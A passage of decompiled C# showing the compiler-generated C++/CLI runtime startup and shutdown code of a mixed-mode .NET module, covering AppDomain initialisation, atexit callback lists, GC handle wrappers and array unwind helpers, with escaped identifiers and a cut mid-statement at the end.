(!\u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA) - { - if (\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002ENeedsInitialization()) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeDefaultAppDomain(obj0); - } - } - finally - { - if (num1 == 0) - { - IntPtr num4 = (IntPtr) 0; - // ISSUE: cast to a reference type - Interlocked.Exchange((IntPtr&) ref \u003CModule\u003E.__native_startup_lock, num4); - } - } - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeVtables(obj0); - if (\u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA) - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeNative(obj0); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerProcess(obj0); - } - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerAppDomain(obj0); - \u003CModule\u003E.\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA = 1; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeUninitializer(obj0); - } - - internal static void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeAppDomain() => \u003CModule\u003E._app_exit_callback(); - - internal static unsafe int \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_UninitializeDefaultDomain( - void* cookie) - { - \u003CModule\u003E._exit_callback(); - \u003CModule\u003E.\u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = false; - if (\u003CModule\u003E.\u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA) - { - \u003CModule\u003E._cexit(); - \u003CModule\u003E.__native_startup_state = (__enative_startup_state) 0; - \u003CModule\u003E.\u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = false; - } - \u003CModule\u003E.\u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = false; - return 0; - } - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeDefaultDomain() - { - if (!\u003CModule\u003E.\u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA) - return; - if (AppDomain.CurrentDomain.IsDefaultAppDomain()) - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_UninitializeDefaultDomain((void*) 0); - } - else - { - // ISSUE: cast to a function pointer type - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDoCallBackInDefaultDomain((__FnPtr) (IntPtr) \u003CModule\u003E.__unep\u0040\u003F_UninitializeDefaultDomain\u0040LanguageSupport\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z, (void*) 0); - } - } - - [PrePrepareMethod] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EDomainUnload( - object source, - EventArgs arguments) - { - if (\u003CModule\u003E.\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA == 0 || Interlocked.Exchange(ref \u003CModule\u003E.\u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA, 1) != 0) - return; - int num = Interlocked.Decrement(ref \u003CModule\u003E.\u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA) == 0 ? 1 : 0; - \u003CModule\u003E._app_exit_callback(); - if ((byte) num == (byte) 0) - return; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeDefaultDomain(); - } - - [DebuggerStepThrough] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002ECleanup( - [In] LanguageSupport* obj0, - Exception innerException) - { - try - { - bool flag = Interlocked.Decrement(ref \u003CModule\u003E.\u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA) == 0; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeAppDomain(); - if (!flag) - return; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeDefaultDomain(); - } - catch (Exception ex) - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowNestedModuleLoadException(innerException, ex); - } - catch - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowNestedModuleLoadException(innerException, (Exception) null); - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitialize( - [In] LanguageSupport* obj0) - { - bool flag = false; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load.\n"); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - Interlocked.Increment(ref \u003CModule\u003E.\u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA); - flag = true; - } - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_Initialize(obj0); - } - catch (Exception ex) - { - if (flag) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002ECleanup(obj0, ex); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException(\u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0), ex); - } - catch - { - if (flag) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002ECleanup(obj0, (Exception) null); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException(\u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0), (Exception) null); - } - } - - [DebuggerStepThrough] - static unsafe \u003CModule\u003E() - { - LanguageSupport languageSupport; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bctor\u007D(&languageSupport); - // ISSUE: fault handler - try - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitialize(&languageSupport); - } - __fault - { - // ISSUE: method pointer - // ISSUE: cast to a function pointer type - \u003CModule\u003E.___CxxCallUnwindDtor((__FnPtr) __methodptr(\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bdtor\u007D), (void*) &languageSupport); - } - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bdtor\u007D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) &languageSupport); - } - - internal static unsafe LanguageSupport* \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bctor\u007D( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bctor\u007D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0); - return obj0; - } - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bdtor\u007D( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bdtor\u007D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0); - } - - [DebuggerStepThrough] - internal static unsafe gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bctor\u007D( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0) - { - IntPtr num = (IntPtr) GCHandle.Alloc((object) null); - *(int*) obj0 = (int) num.ToPointer(); - return obj0; - } - - [DebuggerStepThrough] - internal static unsafe void gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bdtor\u007D( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Free(); - *(int*) obj0 = 0; - } - - [DebuggerStepThrough] - internal static unsafe gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0, - string t) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target = (object) t; - return obj0; - } - - internal static unsafe string gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0) - { - return (string) ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target; - } - - [SpecialName] - internal static unsafe type_info* type_info\u002E\u007Bctor\u007D( - [In] type_info* obj0, - type_info* rhs) - { - *(int*) obj0 = (int) &\u003CModule\u003E.\u003F\u003F_7type_info\u0040\u00406B\u0040; - return obj0; - } - - internal static unsafe void* type_info\u002E__vecDelDtor([In] type_info* obj0, uint _param1) - { - if (((int) _param1 & 2) != 0) - { - type_info* typeInfoPtr = (type_info*) ((IntPtr) obj0 - 4); - // ISSUE: method pointer - // ISSUE: cast to a function pointer type - \u003CModule\u003E.__ehvec_dtor((void*) obj0, 12U, *(int*) typeInfoPtr, (__FnPtr) __methodptr(type_info\u002E\u007Bdtor\u007D)); - if (((int) _param1 & 1) != 0) - \u003CModule\u003E.delete((void*) typeInfoPtr); - return (void*) typeInfoPtr; - } - \u003CModule\u003E.type_info\u002E\u007Bdtor\u007D(obj0); - if (((int) _param1 & 1) != 0) - \u003CModule\u003E.delete((void*) obj0); - return (void*) obj0; - } - - internal static unsafe type_info* type_info\u002E\u003D([In] type_info* obj0, type_info* rhs) => obj0; - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EInitialize() - { - object obj = new object(); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0V\u003F\u0024Handle\u0040P\u0024AAVObject\u0040System\u0040\u0040\u00402\u0040A = 0; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002ESet(&\u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0V\u003F\u0024Handle\u0040P\u0024AAVObject\u0040System\u0040\u0040\u00402\u0040A, obj); - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized() => \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002EGet(&\u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0V\u003F\u0024Handle\u0040P\u0024AAVObject\u0040System\u0040\u0040\u00402\u0040A) != null; - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EEnter() => Monitor.Enter(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002EGet(&\u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0V\u003F\u0024Handle\u0040P\u0024AAVObject\u0040System\u0040\u0040\u00402\u0040A)); - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EExit() => Monitor.Exit(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002EGet(&\u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0V\u003F\u0024Handle\u0040P\u0024AAVObject\u0040System\u0040\u0040\u00402\u0040A)); - - internal static void \u003FA0x49040904\u002E\u003F\u003F__E\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0V\u003F\u0024Handle\u0040P\u0024AAVObject\u0040System\u0040\u0040\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E._atexit_m_appdomain((__FnPtr) __methodptr(\u003FA0x49040904\u002E\u003F\u003F__F\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0V\u003F\u0024Handle\u0040P\u0024AAVObject\u0040System\u0040\u0040\u00402\u0040A\u0040\u0040YMXXZ)); - - internal static unsafe void \u003FA0x49040904\u002E\u003F\u003F__F\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0V\u003F\u0024Handle\u0040P\u0024AAVObject\u0040System\u0040\u0040\u00402\u0040A\u0040\u0040YMXXZ() => \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002E\u007Bdtor\u007D(&\u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0V\u003F\u0024Handle\u0040P\u0024AAVObject\u0040System\u0040\u0040\u00402\u0040A); - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u003FA0x49040904\u002E__global_lock() - { - bool flag = false; - if (\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized()) - { - Monitor.Enter(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002EGet(&\u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0V\u003F\u0024Handle\u0040P\u0024AAVObject\u0040System\u0040\u0040\u00402\u0040A)); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u003FA0x49040904\u002E__global_unlock() - { - bool flag = false; - if (\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized()) - { - Monitor.Exit(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002EGet(&\u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0V\u003F\u0024Handle\u0040P\u0024AAVObject\u0040System\u0040\u0040\u00402\u0040A)); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003FA0x49040904\u002E__alloc_global_lock() - { - if (!\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized()) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EInitialize(); - return \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized(); - } - - internal static unsafe int _atexit_helper( - __FnPtr func, - uint* __pexit_list_size, - __FnPtr** __ponexitend, - __FnPtr** __ponexitbegin) - { - // ISSUE: cast to a function pointer type - __FnPtr local1 = (__FnPtr) 0; - if (func == null) - return -1; - int num1; - if (\u003CModule\u003E.\u003FA0x49040904\u002E__global_lock()) - { - try - { - if (*__pexit_list_size - 1U < (uint) (*(int*) __ponexitend - *(int*) __ponexitbegin) >> 2) - { - try - { - uint num2 = *__pexit_list_size * 4U; - uint num3 = num2 >= 2048U ? 2048U : num2; - IntPtr cb = new IntPtr((int) num2 + (int) num3); - IntPtr num4 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) __ponexitbegin), cb); - __FnPtr** local2 = __ponexitend; - IntPtr num5 = *(int*) local2 + ((IntPtr) num4.ToPointer() - *(int*) __ponexitbegin); - *(int*) local2 = (int) num5; - *(int*) __ponexitbegin = (int) num4.ToPointer(); - uint num6 = *__pexit_list_size; - uint num7 = 512U >= num6 ? num6 : 512U; - *__pexit_list_size = num6 + num7; - } - catch (OutOfMemoryException ex) - { - IntPtr cb = new IntPtr((int) *__pexit_list_size * 4 + 8); - IntPtr num8 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) __ponexitbegin), cb); - __FnPtr** local3 = __ponexitend; - IntPtr num9 = *(int*) local3 + ((IntPtr) num8.ToPointer() - *(int*) __ponexitbegin); - *(int*) local3 = (int) num9; - *(int*) __ponexitbegin = (int) num8.ToPointer(); - uint* numPtr = __pexit_list_size; - int num10 = (int) *numPtr + 4; - *numPtr = (uint) num10; - } - } - *(int*) *(int*) __ponexitend = (int) func; - __FnPtr** local4 = __ponexitend; - int num11 = *(int*) local4 + 4; - *(int*) local4 = num11; - local1 = func; - } - catch (OutOfMemoryException ex) - { - } - finally - { - \u003CModule\u003E.\u003FA0x49040904\u002E__global_unlock(); - } - if (local1 != null) - { - num1 = 0; - goto label_12; - } - } - num1 = -1; -label_12: - return num1; - } - - internal static unsafe void _exit_callback() - { - if ((IntPtr) \u003CModule\u003E.\u003FA0x49040904\u002E__onexitbegin == new IntPtr(-1) || (IntPtr) \u003CModule\u003E.\u003FA0x49040904\u002E__onexitbegin == IntPtr.Zero || (IntPtr) \u003CModule\u003E.\u003FA0x49040904\u002E__onexitend == IntPtr.Zero) - return; - \u003CModule\u003E.\u003FA0x49040904\u002E__onexitend -= 4; - if (\u003CModule\u003E.\u003FA0x49040904\u002E__onexitend >= \u003CModule\u003E.\u003FA0x49040904\u002E__onexitbegin) - { - do - { - if (*(int*) \u003CModule\u003E.\u003FA0x49040904\u002E__onexitend != 0) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) *(int*) \u003CModule\u003E.\u003FA0x49040904\u002E__onexitend)(); - } - \u003CModule\u003E.\u003FA0x49040904\u002E__onexitend -= 4; - } - while (\u003CModule\u003E.\u003FA0x49040904\u002E__onexitend >= \u003CModule\u003E.\u003FA0x49040904\u002E__onexitbegin); - } - Marshal.FreeHGlobal(new IntPtr((void*) \u003CModule\u003E.\u003FA0x49040904\u002E__onexitbegin)); - } - - [DebuggerStepThrough] - internal static unsafe int _initatexit_m() - { - if (!\u003CModule\u003E.\u003FA0x49040904\u002E__alloc_global_lock()) - return 0; - \u003CModule\u003E.\u003FA0x49040904\u002E__onexitbegin = (__FnPtr*) Marshal.AllocHGlobal(128).ToPointer(); - \u003CModule\u003E.\u003FA0x49040904\u002E__onexitend = \u003CModule\u003E.\u003FA0x49040904\u002E__onexitbegin; - \u003CModule\u003E.\u003FA0x49040904\u002E__exit_list_size = 32U; - return 1; - } - - internal static __FnPtr _onexit_m(__FnPtr _Function) => \u003CModule\u003E._atexit_m((__FnPtr) _Function) != -1 ? _Function : (__FnPtr) 0; - - internal static unsafe int _atexit_m(__FnPtr func) => \u003CModule\u003E._atexit_helper(func, &\u003CModule\u003E.\u003FA0x49040904\u002E__exit_list_size, &\u003CModule\u003E.\u003FA0x49040904\u002E__onexitend, &\u003CModule\u003E.\u003FA0x49040904\u002E__onexitbegin); - - [DebuggerStepThrough] - internal static unsafe int _initatexit_app_domain() - { - if (\u003CModule\u003E.\u003FA0x49040904\u002E__alloc_global_lock()) - { - \u003CModule\u003E.__onexitbegin_app_domain = (__FnPtr*) Marshal.AllocHGlobal(128).ToPointer(); - \u003CModule\u003E.__onexitend_app_domain = \u003CModule\u003E.__onexitbegin_app_domain; - \u003CModule\u003E.__exit_list_size_app_domain = 32U; - } - return 1; - } - - internal static unsafe void _app_exit_callback() - { - if ((IntPtr) \u003CModule\u003E.__onexitbegin_app_domain == new IntPtr(-1) || (IntPtr) \u003CModule\u003E.__onexitbegin_app_domain == IntPtr.Zero) - return; - if ((IntPtr) \u003CModule\u003E.__onexitend_app_domain == IntPtr.Zero) - return; - try - { - while (true) - { - do - { - \u003CModule\u003E.__onexitend_app_domain -= 4; - if (\u003CModule\u003E.__onexitend_app_domain < \u003CModule\u003E.__onexitbegin_app_domain) - goto label_8; - } - while (*(int*) \u003CModule\u003E.__onexitend_app_domain == 0); - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) *(int*) \u003CModule\u003E.__onexitend_app_domain)(); - } -label_8:; - } - finally - { - Marshal.FreeHGlobal(new IntPtr((void*) \u003CModule\u003E.__onexitbegin_app_domain)); - } - } - - internal static __FnPtr _onexit_m_appdomain(__FnPtr _Function) => \u003CModule\u003E._atexit_m_appdomain((__FnPtr) _Function) != -1 ? _Function : (__FnPtr) 0; - - [DebuggerStepThrough] - internal static unsafe int _atexit_m_appdomain(__FnPtr func) => \u003CModule\u003E._atexit_helper(func, &\u003CModule\u003E.__exit_list_size_app_domain, &\u003CModule\u003E.__onexitend_app_domain, &\u003CModule\u003E.__onexitbegin_app_domain); - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002EConstruct( - [In] Handle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E* obj0, - object value) - { - *(int*) obj0 = 0; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002ESet(obj0, value); - } - - [DebuggerStepThrough] - internal static unsafe object \u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002EGet( - [In] Handle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E* obj0) - { - ValueType valueType = \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002E_handle(obj0); - return valueType != null ? ((GCHandle) valueType).Target : (object) null; - } - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002E\u007Bdtor\u007D( - [In] Handle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E* obj0) - { - ValueType valueType = \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002E_handle(obj0); - if (valueType == null) - return; - ((GCHandle) valueType).Free(); - *(int*) obj0 = 0; - } - - [DebuggerStepThrough] - internal static unsafe ValueType \u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002E_handle( - [In] Handle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E* obj0) - { - uint num = (uint) *(int*) obj0; - return num != 0U ? (ValueType) GCHandle.FromIntPtr(new IntPtr((void*) num)) : (ValueType) null; - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002ESet( - [In] Handle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E* obj0, - object value) - { - ValueType valueType = \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EHandle\u003CSystem\u003A\u003AObject\u0020\u005E\u003E\u002E_handle(obj0); - if (valueType == null) - { - IntPtr intPtr = GCHandle.ToIntPtr(GCHandle.Alloc(value)); - *(int*) obj0 = (int) intPtr.ToPointer(); - } - else - ((GCHandle) valueType).Target = value; - } - - [DebuggerStepThrough] - internal static unsafe int _initterm_e(__FnPtr* pfbegin, __FnPtr* pfend) - { - int num1 = 0; - if (pfbegin < pfend) - { - while (num1 == 0) - { - uint num2 = (uint) *(int*) pfbegin; - if (num2 != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - num1 = __calli((__FnPtr) (int) num2)(); - } - pfbegin += 4; - if (pfbegin >= pfend) - break; - } - } - return num1; - } - - [DebuggerStepThrough] - internal static unsafe void _initterm(__FnPtr* pfbegin, __FnPtr* pfend) - { - if (pfbegin >= pfend) - return; - do - { - uint num = (uint) *(int*) pfbegin; - if (num != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) (int) num)(); - } - pfbegin += 4; - } - while (pfbegin < pfend); - } - - [DebuggerStepThrough] - internal static ModuleHandle \u003CCrtImplementationDetails\u003E\u002EThisModule\u002EHandle() => typeof (ThisModule).Module.ModuleHandle; - - [DebuggerStepThrough] - internal static unsafe void _initterm_m(__FnPtr* pfbegin, __FnPtr* pfend) - { - if (pfbegin >= pfend) - return; - do - { - uint methodToken = (uint) *(int*) pfbegin; - if (methodToken != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - void* voidPtr = __calli(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThisModule\u002EResolveMethod\u003Cvoid\u0020const\u0020\u002A\u0020__clrcall\u0028void\u0029\u003E((__FnPtr) (int) methodToken))(); - } - pfbegin += 4; - } - while (pfbegin < pfend); - } - - [DebuggerStepThrough] - internal static unsafe __FnPtr \u003CCrtImplementationDetails\u003E\u002EThisModule\u002EResolveMethod\u003Cvoid\u0020const\u0020\u002A\u0020__clrcall\u0028void\u0029\u003E( - __FnPtr methodToken) - { - // ISSUE: cast to a function pointer type - return (__FnPtr) (IntPtr) \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThisModule\u002EHandle().ResolveMethodHandle((int) methodToken).GetFunctionPointer().ToPointer(); - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void ___CxxCallUnwindDtor(__FnPtr pDtor, void* pThis) - { - try - { - void* voidPtr = pThis; - // ISSUE: function pointer call - __calli(pDtor)(voidPtr); - } - catch (Exception ex) when (\u003CModule\u003E.__FrameUnwindFilter((_EXCEPTION_POINTERS*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void ___CxxCallUnwindDelDtor(__FnPtr pDtor, void* pThis) - { - try - { - void* voidPtr = pThis; - // ISSUE: function pointer call - __calli(pDtor)(voidPtr); - } - catch (Exception ex) when (\u003CModule\u003E.__FrameUnwindFilter((_EXCEPTION_POINTERS*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void ___CxxCallUnwindVecDtor( - __FnPtr)> pVecDtor, - void* ptr, - uint size, - int count, - __FnPtr pDtor) - { - try - { - void* voidPtr = ptr; - int num1 = (int) size; - int num2 = count; - __FnPtr local = pDtor; - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli(pVecDtor)((__FnPtr) (IntPtr) voidPtr, num1, (uint) num2, (void*) local); - } - catch (Exception ex) when (\u003CModule\u003E.__FrameUnwindFilter((_EXCEPTION_POINTERS*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void __ehvec_dtor( - void* ptr, - uint size, - int count, - __FnPtr pDtor) - { - int num = 0; - ptr = (void*) ((int) size * count + (IntPtr) ptr); - try - { - while (true) - { - --count; - if (count >= 0) - { - ptr -= (int) size; - void* voidPtr = ptr; - // ISSUE: function pointer call - __calli(pDtor)(voidPtr); - } - else - break; - } - num = 1; - } - finally - { - if (num == 0) - \u003CModule\u003E.__ArrayUnwind(ptr, size, count, pDtor); - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe int \u003FA0xe6292fd0\u002EArrayUnwindFilter(_EXCEPTION_POINTERS* pExPtrs) - { - if (*(int*) *(int*) pExPtrs != -529697949) - return 0; - \u003CModule\u003E.terminate(); - return 0; - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void __ArrayUnwind( - void* ptr, - uint size, - int count, - __FnPtr pDtor) - { - try - { - while (true) - { - --count; - if (count >= 0) - { - ptr -= (int) size; - void* voidPtr = ptr; - // ISSUE: function pointer call - __calli(pDtor)(voidPtr); - } - else - break; - } - } - catch (Exception ex) when 